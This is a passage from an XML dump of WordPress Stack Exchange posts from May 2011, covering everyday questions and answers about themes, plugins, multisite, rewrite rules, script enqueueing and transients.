href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-22T14:22:30.237" LastActivityDate="2011-05-22T14:22:30.237" CommentCount="3" />
  <row Id="17121" PostTypeId="1" CreationDate="2011-05-13T03:11:51.563" Score="-1" ViewCount="57" Body="&lt;pre&gt;&lt;code&gt;$gr_preview_theme = $_GET['preview_theme'];&#xA;$gr_preview_css = $_GET['preview_css'];&#xA;&#xA;if (! $gr_preview_css ) &#xA;    $gr_preview_css = $gr_preview_theme;&#xA;&#xA;if($gr_preview_theme &amp;amp;&amp;amp; file_exists(get_theme_root() . &quot;/$gr_preview_theme&quot;)) {&#xA;    add_filter('template','use_preview_theme');&#xA;}&#xA;&#xA;if($gr_preview_css &amp;amp;&amp;amp; file_exists(get_theme_root() . &quot;/$gr_preview_css&quot;)) {&#xA;    add_filter('stylesheet','use_preview_css');&#xA;}&#xA;&#xA;&#xA;function use_preview_theme($themename) {&#xA;    global $gr_preview_theme;&#xA;&#xA;    return $gr_preview_theme;&#xA;}&#xA;&#xA;function use_preview_css($cssname) {&#xA;    global $gr_preview_css;&#xA;&#xA;    return $gr_preview_css;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a pludgin's code is too small. i want to put the code into the theme's function.php file. could i do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template','use_preview_theme');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what's the above line meaning? and what's use of it? thank you&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2011-05-13T03:33:21.817" Title="if i put the code in my theme's function.php file can it work?" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="17122" PostTypeId="2" ParentId="17121" CreationDate="2011-05-13T03:33:21.817" Score="1" ViewCount="" Body="&lt;p&gt;Short Answer YES!! why because all a functions files does is act as a big huge plugin. Keep in mind though if you plan on using this with other themes or if in network mode you need the plugin file&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T03:33:21.817" CommentCount="2" />
  <row Id="17123" PostTypeId="1" CreationDate="2011-05-13T03:37:33.787" Score="1" ViewCount="188" Body="&lt;p&gt;I've been looking around for a solution that will allow me to edit HTML code and have it remain after a switch to the Visual editor and back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of things with no luck:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the wp-no-format plugin&lt;/li&gt;&#xA;&lt;li&gt;the Raw HTML plugin&lt;/li&gt;&#xA;&lt;li&gt;entering all my HTML on one line&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it were just me managing the content, I would disable the Visual editor.  But as I have a number of content managers, and pages on which there is HTML (forms, for example) and content that they need to edit, that's no an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastActivityDate="2011-08-19T11:32:09.057" Title="Keep HTML format when switching from Visual to HTML editor" Tags="&lt;html&gt;&lt;visual-editor&gt;&lt;formatting&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="17124" PostTypeId="2" ParentId="17123" CreationDate="2011-05-13T04:22:08.257" Score="-2" ViewCount="" Body="&lt;p&gt;Ok so lets move this to an answer now. Do you want something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Title-&lt;br&gt;&#xA;Sample Post &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-content-&lt;br&gt;&#xA;lalalalalalalalalalalala&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;a href=&quot;blah.com&quot;&amp;gt;Blah&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A list of Syntax Highlighters&lt;br&gt;&#xA; - &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter-tinymce-button&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter TinyMCE Button&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-syntaxhighlighter&quot; rel=&quot;nofollow&quot;&gt;WP SyntaxHighligter&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;http://wordpress.org/extend/plugins/rbcode/&quot; rel=&quot;nofollow&quot;&gt;RBCODE&lt;/a&gt;&lt;br&gt;&#xA; - &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=Syntax+Highlighter&amp;amp;sort=updated&quot; rel=&quot;nofollow&quot;&gt;The Search Result From Wordpress Extend&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-13T04:34:12.437" LastActivityDate="2011-05-13T04:34:12.437" CommentCount="4" />
  <row Id="17125" PostTypeId="1" CreationDate="2011-05-13T04:26:31.913" Score="1" ViewCount="117" Body="&lt;p&gt;Basically there are sub-sites that inherit all the pages. But I have worked out ways for each page to be unique to their location, by creating a shortcode that pulls in the Blog Description. The point is I am not trying to spam the web, but this site needs to reach different people in different towns. And I don't want to repeat all the content each time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed threewp broadcast and multipost MU and tested them out, but when you add a site you have to go through each time you add each page to the new site. There are 50+ pages. Essentially I want to make sure the main site is right, then add a new site and have all the pages automatically added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can go through and mess with the settings on each site to give it the right homepage and all that but adding the pages individually is a pain... ideas?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-08-11T12:22:22.267" Title="How can I automatically duplicate a site's pages onto a subsite in WP 3 multisite" Tags="&lt;multisite&gt;&lt;automate&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="17129" PostTypeId="2" ParentId="16498" CreationDate="2011-05-13T07:00:57.400" Score="0" ViewCount="" Body="&lt;p&gt;I found out that it is the plugin i am using and have instead decided to use the register function&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T07:00:57.400" />
  <row Id="17130" PostTypeId="1" CreationDate="2011-05-13T07:52:57.967" Score="5" ViewCount="191" Body="&lt;p&gt;I build a lot of websites with Wordpress, and my initial setup is basically always the same : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Latest version of WP&lt;/li&gt;&#xA;&lt;li&gt;Latest versions of about 5 plugins &lt;/li&gt;&#xA;&lt;li&gt;My naked development theme&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead of downloading/uploading these things separately and do that by hand each time I start a new project, I'd like to create a bash script that would do this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the latest version of Wordpress&lt;/li&gt;&#xA;&lt;li&gt;Unzip&lt;/li&gt;&#xA;&lt;li&gt;Download the latest version of plugin X&lt;/li&gt;&#xA;&lt;li&gt;Unzip to WP plugins folder&lt;/li&gt;&#xA;&lt;li&gt;Download my naked theme&lt;/li&gt;&#xA;&lt;li&gt;Unzip to themes folder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now downloading the latest WP is easy (http://wordpress.org/latest.tar.gz), downloading my naked theme too, but I'm having trouble getting the latest version of a plugin, as they are not called &lt;code&gt;latest.tar.gz&lt;/code&gt; but specifict names with the version (ex: wptouch.1.9.26.zip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : So I'm wonderning now if it's possible to use &lt;a href=&quot;http://curl.haxx.se/&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; in my bash script to find the exact URL of the Current version of a plugin. The idea would be to fetch the page, and then find the value of the &lt;code&gt;href&lt;/code&gt; that is in the paragraph just after the &lt;code&gt;&amp;lt;h3&amp;gt;Current Version&amp;lt;/h3&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example, all plugin download pages on WP are like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Current Version&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p class=&quot;unmarked-list&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://downloads.wordpress.org/plugin/jetpack.1.1.2.zip&quot;&amp;gt;1.1.2&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-05-13T15:56:27.340" LastActivityDate="2011-05-13T15:56:27.340" Title="How can I create a bash install script for my Wordpress sites setup (WP+plugins+theme)?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;scripts&gt;&lt;install&gt;&lt;version&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="17131" PostTypeId="1" AcceptedAnswerId="17138" CreationDate="2011-05-13T08:12:19.533" Score="0" ViewCount="115" Body="&lt;p&gt;How can I get all enqueued styles or scripts and then deregister them all at once?&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-05-13T09:04:03.027" LastActivityDate="2011-05-13T09:27:22.037" Title="How can I de-register ALL styles all at once? And same with Javascript?" Tags="&lt;wp-enqueue-script&gt;&lt;wp-enqueue-style&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17132" PostTypeId="2" ParentId="17130" CreationDate="2011-05-13T08:13:51.363" Score="3" ViewCount="" Body="&lt;p&gt;To always get latest plugin take for example my plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-file-monitor-plus/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-file-monitor-plus/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the download link for the latest is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://downloads.wordpress.org/plugin/wordpress-file-monitor-plus.1.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://downloads.wordpress.org/plugin/wordpress-file-monitor-plus.1.1.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you remove the version from the download link you always get the latest version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://downloads.wordpress.org/plugin/wordpress-file-monitor-plus.zip&quot; rel=&quot;nofollow&quot;&gt;http://downloads.wordpress.org/plugin/wordpress-file-monitor-plus.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Have you considered keeping a folder of the latest wordpress and plugins unpacked? Then as soon as a new plugin or wordpress comes out you simply unpack that over what you have. Then your bash script just packages the whole lot to be used on an install.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-13T09:43:26.807" LastActivityDate="2011-05-13T09:43:26.807" CommentCount="7" />
  <row Id="17133" PostTypeId="2" ParentId="17125" CreationDate="2011-05-13T08:20:04.447" Score="0" ViewCount="" Body="&lt;p&gt;I think that is possible with the plugin WordPress MU Sitewide Tags:  (&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that plugin you can republish content from all sites OR a selection and you can choose to publish it to the main site OR to a new subsite.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-13T08:20:04.447" CommentCount="3" />
  <row Id="17134" PostTypeId="2" ParentId="17125" CreationDate="2011-05-13T08:48:39.800" Score="0" ViewCount="" Body="&lt;p&gt;I'm guessing it's something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export the database, find the posts you want and delete everything else in the exported file, search and replace so that the posts belong to the subsite you want, then import the new SQL back into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be that sites have a list of which post ID belong to them... you have to look at the database content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... WHatever you find the simple replacement to be, you'll be copying over 50 posts at a time (or however many you have).&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-05-13T08:48:39.800" />
  <row Id="17135" PostTypeId="1" AcceptedAnswerId="17136" CreationDate="2011-05-13T08:52:11.063" Score="2" ViewCount="119" Body="&lt;p&gt;Just noticed that 3.1 added a new filter to customize queries: posts_clauses.  All I could find about it is that instead of using the separate query filters like posts_where or posts_join, you can edit them all in one go.  I was wondering if someone could give an example of the usage of the new &quot;posts_clauses&quot; filter? &lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-05-13T08:59:22.883" Title="Usage of  the new  &quot;posts_clauses&quot; filter in Wordpress 3.1?" Tags="&lt;wp-query&gt;&lt;query&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="17136" PostTypeId="2" ParentId="17135" CreationDate="2011-05-13T08:59:22.883" Score="3" ViewCount="" Body="&lt;p&gt;Below is the query I found somewhere and was going through it. The purpose of query is to sort the posts based on taxonomy. So, I am sharing the code so it might help you understand the use of posts_clauses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function color_clauses_mike( $clauses, $wp_query ) {&#xA;global $wpdb;&#xA;&#xA;if ( isset( $wp_query-&amp;gt;query['orderby'] ) &amp;amp;&amp;amp; 'color' == $wp_query-&amp;gt;query['orderby'] ) {&#xA;&#xA;    $clauses['join'] .= &amp;lt;&amp;lt;&amp;lt;SQL&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;posts}.ID={$wpdb-&amp;gt;term_relationships}.object_id&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_taxonomy} USING (term_taxonomy_id)&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;terms} USING (term_id)&#xA;SQL;&#xA;&#xA;    $clauses['where'] .= &quot; AND (taxonomy = 'color' OR taxonomy IS NULL)&quot;;&#xA;    $clauses['groupby'] = &quot;object_id&quot;;&#xA;    $clauses['orderby']  = &quot;GROUP_CONCAT({$wpdb-&amp;gt;terms}.name ORDER BY name ASC) &quot;;&#xA;    $clauses['orderby'] .= ( 'ASC' == strtoupper( $wp_query-&amp;gt;get('order') ) ) ? 'ASC' : 'DESC';&#xA;}&#xA;&#xA;return $clauses;&#xA;}&#xA;add_filter( 'posts_clauses', 'color_clauses_mike', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the source where I found the above query: &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/sortable-taxonomy-columns.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-13T08:59:22.883" CommentCount="2" />
  <row Id="17137" PostTypeId="1" CreationDate="2011-05-13T09:13:06.647" Score="0" ViewCount="48" Body="&lt;p&gt;Theres a way or plugin to track users IP registration or login?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-13T09:13:06.647" Title="How to track user registration IP on buddyPress" Tags="&lt;ip&gt;" />
  <row Id="17138" PostTypeId="2" ParentId="17131" CreationDate="2011-05-13T09:27:22.037" Score="3" ViewCount="" Body="&lt;p&gt;I hope you know what you are doing. You can wp_print_styles and wp_print_scripts action hooks and then get the global $wp_styles and $wp_scripts object variables in their respective hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;registered&quot; attribute lists registered scripts and the &quot;queue&quot; attribute lists queue scripts on both of the above objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example code to empty the scripts and style queue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pm_remove_all_scripts() {&#xA;    global $wp_scripts;&#xA;    $wp_scripts-&amp;gt;queue = array();&#xA;}&#xA;add_action('wp_print_scripts', 'pm_remove_all_scripts', 100);&#xA;function pm_remove_all_styles() {&#xA;    global $wp_styles;&#xA;    $wp_styles-&amp;gt;queue = array();&#xA;}&#xA;add_action('wp_print_styles', 'pm_remove_all_styles', 100);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-13T09:27:22.037" CommentCount="5" />
  <row Id="17139" PostTypeId="1" AcceptedAnswerId="17141" CreationDate="2011-05-13T09:31:08.673" Score="3" ViewCount="64" Body="&lt;p&gt;Now im getting a couple of disposable email accounts in users table, how can I avoid this nasty situation?&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-05-14T22:15:36.437" Title="How to disable or protect against disposable email accounts?" Tags="&lt;registration&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17140" PostTypeId="1" AcceptedAnswerId="17144" CreationDate="2011-05-13T09:53:41.117" Score="1" ViewCount="150" Body="&lt;p&gt;I have a website where users can register, login and their edit profile, they can comment but not post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a way to display a user profile page (where I display the gravatar and the info about the user) clicking on the username.&#xA;The url must be something like &quot;www.mywebsite.com/user/username&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about author.php, but I don't know how to link even if the user has no posts and is not an author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I managed how to solve it. Instead of linking using &lt;code&gt;&amp;lt;?php the_author_posts_link(); ?&amp;gt;&lt;/code&gt; I did an href linking to &lt;code&gt;www.mysite.com/user/&amp;lt;?php echo $user_info-&amp;gt;display_name; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rename the slug I installed the &lt;a href=&quot;http://brandonallen.org/wordpress/plugins/edit-author-slug/&quot; rel=&quot;nofollow&quot;&gt;Edit author slug plugin&lt;/a&gt;, it makes the author slug editable under Settings &gt; permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To customize the user profile, just edit authors.php as you like.&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-05-13T10:08:26.377" LastActivityDate="2011-05-13T10:12:53.363" Title="Diplay a registered user profile page" Tags="&lt;page&gt;&lt;users&gt;&lt;author&gt;&lt;profiles&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17141" PostTypeId="2" ParentId="17139" CreationDate="2011-05-13T09:58:57.443" Score="3" ViewCount="" Body="&lt;p&gt;You might need this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/no-disposable-email/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/no-disposable-email/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-13T09:58:57.443" />
  <row Id="17142" PostTypeId="2" ParentId="17106" CreationDate="2011-05-13T10:00:35.850" Score="3" ViewCount="" Body="&lt;p&gt;In your example, the author rewrite pattern changes from &lt;code&gt;/author/[authorname]/&lt;/code&gt; to &lt;code&gt;/[author_level]/[author_name]/&lt;/code&gt;. If we allow &lt;code&gt;[author_level]&lt;/code&gt; to be anything, we will get into conflict with the rules for pages, because &lt;code&gt;/[anything]/[anything]/&lt;/code&gt; can be either an author archive or a regular subpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, my solution assumes you have a limited number of author levels, so we can explicitly put them in the rewrite rules. So &lt;code&gt;/ninja/[anything]/&lt;/code&gt; will be an author archive, but &lt;code&gt;/not-ninja/[anything]/&lt;/code&gt; will be a regular page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the URL structure always consists of two parts: changing the URLs that WordPress will accept and changing the URLs that WordPress will generate. First we will change the URLs that WordPress will accept by introducing a new &lt;em&gt;rewrite tag&lt;/em&gt; and setting our author base to that tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// I assume you define these somewhere, this is just to make the example work&#xA;$wpse17106_author_levels = array( 'trainee', 'ninja' );&#xA;&#xA;add_action( 'init', 'wpse17106_init' );&#xA;function wpse17106_init()&#xA;{&#xA;    global $wp_rewrite;&#xA;    $author_levels = $GLOBALS['wpse17106_author_levels'];&#xA;&#xA;    // Define the tag and use it in the rewrite rule&#xA;    add_rewrite_tag( '%author_level%', '(' . implode( '|', $author_levels ) . ')' );&#xA;    $wp_rewrite-&amp;gt;author_base = '%author_level%';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you check the resulting rewrite rules with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite Analyzer&lt;/a&gt; you will notice that it contains extra rules for the plain &lt;code&gt;/[author-level]/&lt;/code&gt; pages. This happens because WordPress generates rules for each directory part that contains a rewrite tag, like &lt;code&gt;%author_level%&lt;/code&gt;. We don't need these, so filter out all author rewrite rules that don't contain an &lt;code&gt;author_name&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'author_rewrite_rules', 'wpse17106_author_rewrite_rules' );&#xA;function wpse17106_author_rewrite_rules( $author_rewrite_rules )&#xA;{&#xA;    foreach ( $author_rewrite_rules as $pattern =&amp;gt; $substitution ) {&#xA;        if ( FALSE === strpos( $substitution, 'author_name' ) ) {&#xA;            unset( $author_rewrite_rules[$pattern] );&#xA;        }&#xA;    }&#xA;    return $author_rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now WordPress should accept URLs using this new pattern. The only thing left to do is change the URLs it generates when it creates a link to an author archive. For that you can hook into the &lt;code&gt;author_link&lt;/code&gt; filter, like this very basic example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'author_link', 'wpse17106_author_link', 10, 2 );&#xA;function wpse17106_author_link( $link, $author_id )&#xA;{&#xA;    if ( 1 == $author_id ) {&#xA;        $author_level = 'ninja';&#xA;    } else {&#xA;        $author_level = 'trainee';&#xA;    }&#xA;    $link = str_replace( '%author_level%', $author_levels, $link );&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-13T10:00:35.850" CommentCount="4" />
  <row Id="17143" PostTypeId="2" ParentId="16039" CreationDate="2011-05-13T10:03:01.723" Score="1" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Here are 2 simple solutions:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/white-label-branding-for-wordpress/125617&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Try WordPress White Label Branding&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a look at the &lt;strong&gt;WordPress&lt;/strong&gt; &lt;a href=&quot;http://codecanyon.net/item/wordpress-uielement-class/124413&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;UIElement Class&lt;/strong&gt;&lt;/a&gt;, and the &lt;strong&gt;WordPress Admin Class&lt;/strong&gt; files. I use them both, and allow you to see how tho hook into the WordPress Core.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-05-13T10:03:01.723" CommentCount="2" />
  <row Id="17144" PostTypeId="2" ParentId="17140" CreationDate="2011-05-13T10:12:53.363" Score="2" ViewCount="" Body="&lt;p&gt;Every registered user can have profile, they don't need to have posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change Wordpress author's profile permalink, paste the following code in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_author_permalink_base() {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;author_base = &quot;user&quot;;&#xA;}&#xA;add_filter( 'init', 'change_author_permalink_base' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After pasting the code, visit Settings-&gt;Permalink Structure under your wordpress admin, to flush the rewrite rules. This is a required step, otherwise you may get 404 on author profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then code your author.php. As far as linking is concerned this is totally your design decision. If you want to link the profiles from user's comment, you can either add the new link or just link comment author name to their profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember the profile is available only if the user is registered as Wordpress user.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-13T10:12:53.363" CommentCount="2" />
  <row Id="17145" PostTypeId="1" AcceptedAnswerId="17148" CreationDate="2011-05-13T10:14:15.987" Score="1" ViewCount="128" Body="&lt;p&gt;How do i get output of this in alphabetical order&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $termID = 5;&#xA;    $taxonomyName = 'area';&#xA;    $termchildren = get_term_children( $termID, $taxonomyName );&#xA;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    foreach ($termchildren as $child) {&#xA;        $term = get_term_by( 'id', $child, $taxonomyName );&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_term_link( $term-&amp;gt;name, $taxonomyName ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4190" LastActivityDate="2011-05-13T10:54:51.327" Title="How to get_term_children output in alphabetical order?" Tags="&lt;terms&gt;" AnswerCount="1" />
  <row Id="17146" PostTypeId="1" AcceptedAnswerId="17147" CreationDate="2011-05-13T10:21:55.803" Score="2" ViewCount="167" Body="&lt;p&gt;Im using a WordPress transient, which expires after an hour, to store a value which is an integer. Im trying to use &lt;code&gt;switch()&lt;/code&gt; and multiple &lt;code&gt;case()&lt;/code&gt; statements to evaluate if the transient exists or not (i.e true or false).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which comparison operator (&lt;code&gt;=&lt;/code&gt;, &lt;code&gt;==&lt;/code&gt;, &lt;code&gt;===&lt;/code&gt;), in example 2, is ideal for this context?&lt;/li&gt;&#xA;&lt;li&gt;Which of the following examples is appropriate?&lt;/li&gt;&#xA;&lt;li&gt;Would the following examples yield the same result?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$transient = get_transient( 'foobar' );&#xA;&#xA;switch( $transient ) :&#xA;&#xA;    case( true ) :&#xA;        // do stuff&#xA;    break;&#xA;&#xA;    case( false ) :&#xA;        // do stuff&#xA;    break;&#xA;&#xA;endswitch;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;versus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$transient = get_transient( foobar );&#xA;&#xA;switch( $transient ) :&#xA;&#xA;    case( $transient = true ) :&#xA;        // do stuff&#xA;    break;&#xA;&#xA;    case( $transient = false ) :&#xA;        // do stuff&#xA;    break;&#xA;&#xA;endswitch;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-13T11:40:14.190" LastActivityDate="2011-05-13T11:50:59.763" Title="get_transient(), PHP switch(), and comparison operators" Tags="&lt;php&gt;&lt;transient&gt;&lt;comparison&gt;" AnswerCount="3" CommentCount="7" />
